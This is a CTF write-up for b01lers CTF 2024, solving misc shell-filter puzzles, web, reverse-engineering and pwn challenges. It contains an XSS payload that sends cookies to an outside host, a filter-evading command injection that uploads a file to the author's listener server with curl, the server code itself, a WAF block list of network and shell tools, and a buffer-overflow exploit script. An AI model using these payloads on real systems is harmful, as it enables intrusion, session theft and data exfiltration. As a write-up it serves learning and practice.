b01lers CTF 2024 - writeups

Writeups for solved b01lers CTF 2024 challenges

points: 2366 rank: 61/393


misc

wabash, its a river, but also a new shell! Flag is in /flag.txt

Shell challenge - it adds wa on start of each command and arguments seperated with spaces so commands and args will not work. Example input: cat /flag.txt > wacat wa/flag.txt

Solution: |cat</flag.txt

flag: bctf{wabash:_command_not_found521065b339eb59a71c06a0dec824cd55}

It allows commands. but certain characters and words are getting filtered out like ()""$*? among others. Also, the word flag is not allowed as input.

Solution: cat {f,}lag.txt

flag: bctf{owwwww_th4t_hurt}

Here’s a minecraft world, the flag is on a piece of paper in the the chest by spawn, it’s hard to miss. Version 1.20

We are given Minecraft world save file, look for ways to parse this. I found a chunk extractor script that can extract contents from a region save. From there we can grep each region for any minecraft chunk/block we want.

https://github.com/sudofox/minecraft-utils/blob/master/region-parser/region-parser.sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# unzip the save file and under regions run the script for each .mca file
./region-parser.sh r.0.-1.mca 
./region-parser.sh r.0.0.mca 
# ... 

# after unpacking all we can check each content if it contains chest / paper
find . -name "*.nbt" -exec grep minecraft:chest {} \;
find . -name "*.nbt" -exec grep minecraft:paper {} \;

# we can just search for the flag 
find . -name "*.nbt" -exec grep -a bctf {} \;

Alt text
flag: bctf{ch1st_ch2st_ch3st_ch4st_ch5st}


web

#xss/blind #filter-bypass

XSS challenge - We are allowed to input any html data we want and the admin visits that but the content should not contain quotes, double quotes and backticks:

Main challenge

1
2
  const content = req.body.content.replace("'", '').replace('"', '').replace("`", '');
  const urlToVisit = CONFIG.APPURL + '/admin/view/?content=' + content;

We can use String.fromCharCode https://charcode98.neocities.org/ to avoid using quotes and encode our URL before sending it to the admin. Admin visits our site with their cookies in the query.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import requests
url = 'http://b01ler-ads.hammer.b01le.rs/review'

# fetch('evil[.]com?cookie'=document.cookie)
payload = """
<script>
     var url = String.fromCharCode(104, 116, 116, 112, 58...)
     fetch(url+ encodeURI(document.cookie))
</script>
"""

encoded = "%3Cscript%3E%0A%20%20%20%20let%20url%20%3D%20String%2EfromCharCode%28104%2C%20116%2C%20116%2C%20112%2C%2058%2E%2E%2E%29%0A%20%20%20%20fetch%28url%20%20encodeURI%28document%2Ecookie%29%29%0A%3C%2Fscript%3E"

data = {
    'content':encoded
}

r = requests.post(url, data=data)
print(r.text)
/b01lers-2024/image.png
listener

flag: bctf{wow_you_can_get_a_free_ad_now!}

#command-injection/blind #filter-bypass

Command Injection challenge where we need to bypass a blacklisted words and leak a flag.png. To solve this I setup a file upload server after confirming i can do a curl command.

Main challenge

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
@app.route("/pentest_submitted_flags", methods=["POST"])
def submit():
    if request.is_json:
        # Retrieve JSON data
        data = request.json
        content = data["content"]
        if sus(content):
            return jsonify({"message": "The requested URL was rejected. Please consult with your administrator."}), 200
        else:
            filename = "writeup_" + secrets.token_urlsafe(50)
            os.system(f"bash -c \'echo \"{content}\" > {filename}\'")
            # Like I care about your writeup
            os.system(f"rm -f writeup_{filename}")
            return jsonify({"message": "Writeup submitted successfully"}), 200
    else:
        return jsonify({'error': 'Request data must be in JSON format'}), 400

waf.py

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
def sus(content):
    taboo = [
    "bin",
    "base64",
    "export",
    "python3",
    "export",
    "ruby",
    "perl",
    "x",
    "/",
    "(",
    ")"
    "\\",
    "rm",
    "mv",
    "chmod",
    "chown",
    "tar",
    "gzip",
    "bzip2",
    "zip",
    "find",
    "grep",
    "sed",
    "awk",
    "cat",
    "less",
    "more",
    "head",
    "tail",
    "echo",
    "printf",
    "read",
    "touch",
    "ln",
    "wget",
    "curl",
    "fetch",
    "scp",
    "rsync",
    "sudo",
    "ssh",
    "nc",
    "netcat",
    "ping",
    "traceroute",
    "iptables",
    "ufw",
    "firewalld",
    "crontab",
    "ps",
    "top",
    "htop",
    "du",
    "df",
    "free",
    "uptime",
    "kill",
    "killall",
    "nohup",
    "jobs",
    "bg",
    "fg",
    "watch",
    "wc",
    "sort",
    "uniq",
    "tee",
    "diff",
    "patch",
    "mount",
    "umount",
    "lsblk",
    "blkid",
    "fdisk",
    "parted",
    "mkfs",
    "fsck",
    "dd",
    "hdparm",
    "lsmod",
    "modprobe",
    "lsusb",
    "lspci",
    "ip",
    "ifconfig",
    "route",
    "netstat",
    "ss",
    "hostname",
    "dnsdomainname",
    "date",
    "cal",
    "who",
    "w",
    "last",
    "history",
    "alias",
    "export",
    "source",
    "umask",
    "pwd",
    "cd",
    "mkdir",
    "rmdir",
    "stat",
    "file",
    "chattr",
    "lsof",
    "ncdu",
    "dmesg",
    "journalctl",
    "logrotate",
    "systemctl",
    "service",
    "init",
    "reboot",
    "shutdown",
    "poweroff",
    "halt",
    "systemd",
    "update-alternatives",
    "adduser",
    "useradd",
    "userdel",
    "usermod",
    "groupadd",
    "groupdel",
    "groupmod",
    "passwd",
    "chpasswd",
    "userpasswd",
    "su",
    "visudo",
    "chsh",
    "chfn",
    "getent",
    "id",
    "whoami",
    "groups",
    "quota",
    "quotaon",
    "quotacheck",
    "scp",
    "sftp",
    "ftp",
    "tftp",
    "telnet",
    "ssh-keygen",
    "ssh-copy-id",
    "ssh-add",
    "ssh-agent",
    "nmap",
    "tcpdump",
    "iftop",
    "arp",
    "arping",
    "brctl",
    "ethtool",
    "iw",
    "iwconfig",
    "mtr",
    "tracepath",
    "fping",
    "hping3",
    "dig",
    "nslookup",
    "host",
    "whois",
    "ip",
    "route",
    "ifconfig",
    "ss",
    "iptables",
    "firewalld",
    "ufw",
    "sysctl",
    "uname",
    "hostnamectl",
    "timedatectl",
    "losetup",
    "eject",
    "lvm",
    "vgcreate",
    "vgextend",
    "vgreduce",
    "vgremove",
    "vgs",
    "pvcreate",
    "pvremove",
    "pvresize",
    "pvs",
    "lvcreate",
    "lvremove",
    "lvresize",
    "lvs",
    "resize2fs",
    "tune2fs",
    "badblocks",
    "udevadm",
    "pgrep",
    "pkill",
    "atop",
    "iotop",
    "vmstat",
    "sar",
    "mpstat",
    "nmon",
    "finger",
    "ac",
    "journalctl",
    "ls",
    "dir",
    "locate",
    "updatedb",
    "which",
    "whereis",
    "cut",
    "paste",
    "tr",
    "comm",
    "xargs",
    "gunzip",
    "bunzip2",
    "unzip",
    "xz",
    "unxz",
    "lzma",
    "unlzma",
    "7z",
    "ar",
    "cpio",
    "pax",
    "ftp",
    "sftp",
    "ftp",
    "wget",
    "curl",
    "fetch",
    "rsync",
    "scp",
    "ssh",
    "openssl",
    "gpg",
    "pgp",
    ]
    for item in taboo:
        if item in content.lower():
            return True
    return False

We can bypass most of the linux command words using this technique c''url and to bypass the / we can do ${HOME:0:1}. https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions

The command I used does a POST request to my file upload server with the /flag.png attached in the body

solve.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import os
import requests 
from waf import sus

# curl -F data=/flag.png <ip:port>
payload = "cu''rl -F \"data=@${HOME:0:1}flag.png\" <redacted>"
content = f"""123" ; {payload} ; e''cho "123"""
assert not sus(content)
filename = "test"
command = f"bash -c \'echo \"{content}\" > {filename}\'"
print(content)
print(command)
# os.system(command) 

url = "https://threecityelf-53b6fe52e327b2cb.instancer.b01lersc.tf/pentest_submitted_flags"

json = {
    'content': content
}
r = requests.post(url, json=json)
print(r.text)

server.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from flask import Flask, request
import os

app = Flask(__name__)

UPLOAD_FOLDER ='uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
@app.route('/', methods=["POST"])
def xfil():
    try:
        file = request.files['data']
        filename = file.filename
        file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
    except Exception as e:
        return str(e)
    return 'Success'
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8901)

To view the flag, I just opened the uploaded file under /uploads on the listener server

/b01lers-2024/image-1.png
flag.png

flag: bctf{Lucky_you_I_did_not_code_this_stuff_in_Ruby_lasudkjklhdsfkhjkae}


rev

Analyze in ghidra and learn that the super_optimized_calculation is not so optimized. It just returns the nth fibonacci number

We can just hardcode it and run it will print the flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
int main{
    unsigned long long uVar1;
    // ....
    local_78[20] = 0xc1;
    local_78[21] = 0x161;
    local_78[22] = 0x10d;
    local_78[23] = 0x1e7;
    local_78[24] = 0xf5;
    // uVar1 = super_optimized_calculation(0x5a);
    uVar1 = 2880067194370816120; // 0x5a/90th fibonacci number
    for (local_84 = 0; local_84 < 0x19; local_84 = local_84 + 1) {
        putc((int)(uVar1 % (unsigned long long)local_78[(int)local_84]),stdout);
    }
    putc(10,stdout);
    if (local_10 != *(unsigned long *)(in_FS_OFFSET + 0x28)) {
        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return 0;
}

flag: bctf{what’s_memoization?}

#js #deobfuscation

The original file provided is obfuscated. which can be deobfuscated here: https://obf-io.deobfuscate.io/

The main challenge is under addToPassword function doing comparisons and operations.

Basically, It just checks the index if it matches with the corresponding operation on the right. If we start from the button we will know that arr[3] = 82 and then work up from there. 82 ^ 0x36 = 100 etc..

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function addToPassword(_0x43b7e8) {
    if (guess.length < 0x6) {
      guess += _0x43b7e8;
      _0x38a66f();
      if (guess.length === 0x6) {
        let arr = Array(0x6);
        for (let i = 0x0; i < 0x6; i += 0x1) {
          arr[i] = guess[i].charCodeAt(0x0);
        }
        // 48-57
        let _0x4cedc7 = true;
        _0x4cedc7 &= arr[0x4] == arr[0x1] - 0x4; // a[4] 48
        _0x4cedc7 &= arr[0x1] == (arr[0x0] ^ 0x44); // a[1] 52
        _0x4cedc7 &= arr[0x0] == arr[0x2] - 0x7; 
        _0x4cedc7 &= arr[0x3] == (arr[0x2] ^ 0x25); // a[3] 82
        _0x4cedc7 &= arr[0x5] == (arr[0x0] ^ 0x14); 
        _0x4cedc7 &= arr[0x4] == arr[0x1] - 0x4;  
        _0x4cedc7 &= arr[0x0] == (arr[0x3] ^ 0x22); 
        _0x4cedc7 &= arr[0x0] == arr[0x2] - 0x7;   // a[0] 112
        _0x4cedc7 &= arr[0x0] == arr[0x5] + 0xc; // a[0] 112
        _0x4cedc7 &= arr[0x2] == arr[0x4] + 0x47;   // a[2] 119
        _0x4cedc7 &= arr[0x2] == (arr[0x5] ^ 0x13); // a[2] 119
        _0x4cedc7 &= arr[0x5] == (arr[0x3] ^ 0x36); // a[5] 100
        _0x4cedc7 &= 0x52 == arr[0x3]; // a[3] 82
        // 112 52 119 82 48 100 = "p4wR0d"
        if (_0x4cedc7) {
          document.getElementById("display").classList.add("correct");
          let _0x401b01 = CryptoJS.AES.decrypt("U2FsdGVkX19WKWdho02xWkalqVZ3YrA7QrNN4JPOIb5OEO0CW3Qj8trHrcQNOwsw", guess).toString(CryptoJS.enc.Utf8);
        //   let _0x401b01 = CryptoJS.AES.decrypt("U2FsdGVkX19WKWdho02xWkalqVZ3YrA7QrNN4JPOIb5OEO0CW3Qj8trHrcQNOwsw", "p4wR0d").toString(CryptoJS.enc.Utf8);
          console.log(_0x401b01);
          document.getElementById("display").textContent = _0x401b01;
        } else {
          document.getElementById("display").classList.add("wrong");
        }
      }
    }
  }

After getting the key p4wR0d we can just decrypt it using the following:

1
CryptoJS.AES.decrypt("U2FsdGVkX19WKWdho02xWkalqVZ3YrA7QrNN4JPOIb5OEO0CW3Qj8trHrcQNOwsw", "p4wR0d").toString(CryptoJS.enc.Utf8);

flag: bctf{345y-p4s5w0rd->w<}


pwn

#buffer-overflow

Buffer overflow challenge. Need to overflow the input to leak the function global_thermo_nuclear_war as it prints the flag.

Main function after decompiling in ghidra

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
undefined8 main(void)

{
  char local_b8 [48];
  char local_88 [48];
  char local_58 [16];
  char local_48 [64];
  
  setbuf(stdout,(char *)0x0);
  puts("GREETINGS PROFESSOR FALKEN.");
  fgets(local_58,0x13,stdin);
  puts("HOW ARE YOU FEELING TODAY?");
  fgets(local_88,0x23,stdin);
  puts(
      "EXCELLENT. IT\'S BEEN A LONG TIME. CAN YOU EXPLAIN THE\nREMOVAL OF YOUR USER ACCOUNT ON 6/23/ 73?"
      );
  fgets(local_b8,0x23,stdin);
  puts("SHALL WE PLAY A GAME?");
  fgets(local_48,0x56,stdin);
  return 0;
}

Inspecting the functions in ghidra we can find a function that prints the flag (not called in main)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
void global_thermo_nuclear_war(void)

{
  char local_118 [264];
  FILE *local_10;
  
  local_10 = (FILE *)FUN_004010a0("flag.txt",&DAT_00402008);
  if (local_10 == (FILE *)0x0) {
    puts("flag.txt not found");
  }
  else {
    fgets(local_118,0x100,local_10);
    puts(local_118);
  }
  return;
}

Getting function address in gdb info functions

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401070  puts@plt
0x0000000000401080  setbuf@plt
0x0000000000401090  fgets@plt
0x00000000004010a0  fopen@plt
0x00000000004010b0  _start
0x00000000004010e0  _dl_relocate_static_pie
0x00000000004010f0  deregister_tm_clones
0x0000000000401120  register_tm_clones
0x0000000000401160  __do_global_dtors_aux
0x0000000000401190  frame_dummy
0x0000000000401196  setup
0x00000000004011dd  global_thermo_nuclear_war
0x000000000040124a  main
0x0000000000401314  _fini

Solve script

1
2
3
4
5
6
7
8
from pwn import *

# overflow allowed input size 
payload = b"A"*(152)
payload += p64(0x4011dd)
r = remote('gold.b01le.rs', 4004)
r.sendline(payload)
r.interactive()

flag: bctf{h0w_@bo0ut_a_n1ce_g@m3_0f_ch3ss?_ccb7a268f1324c84}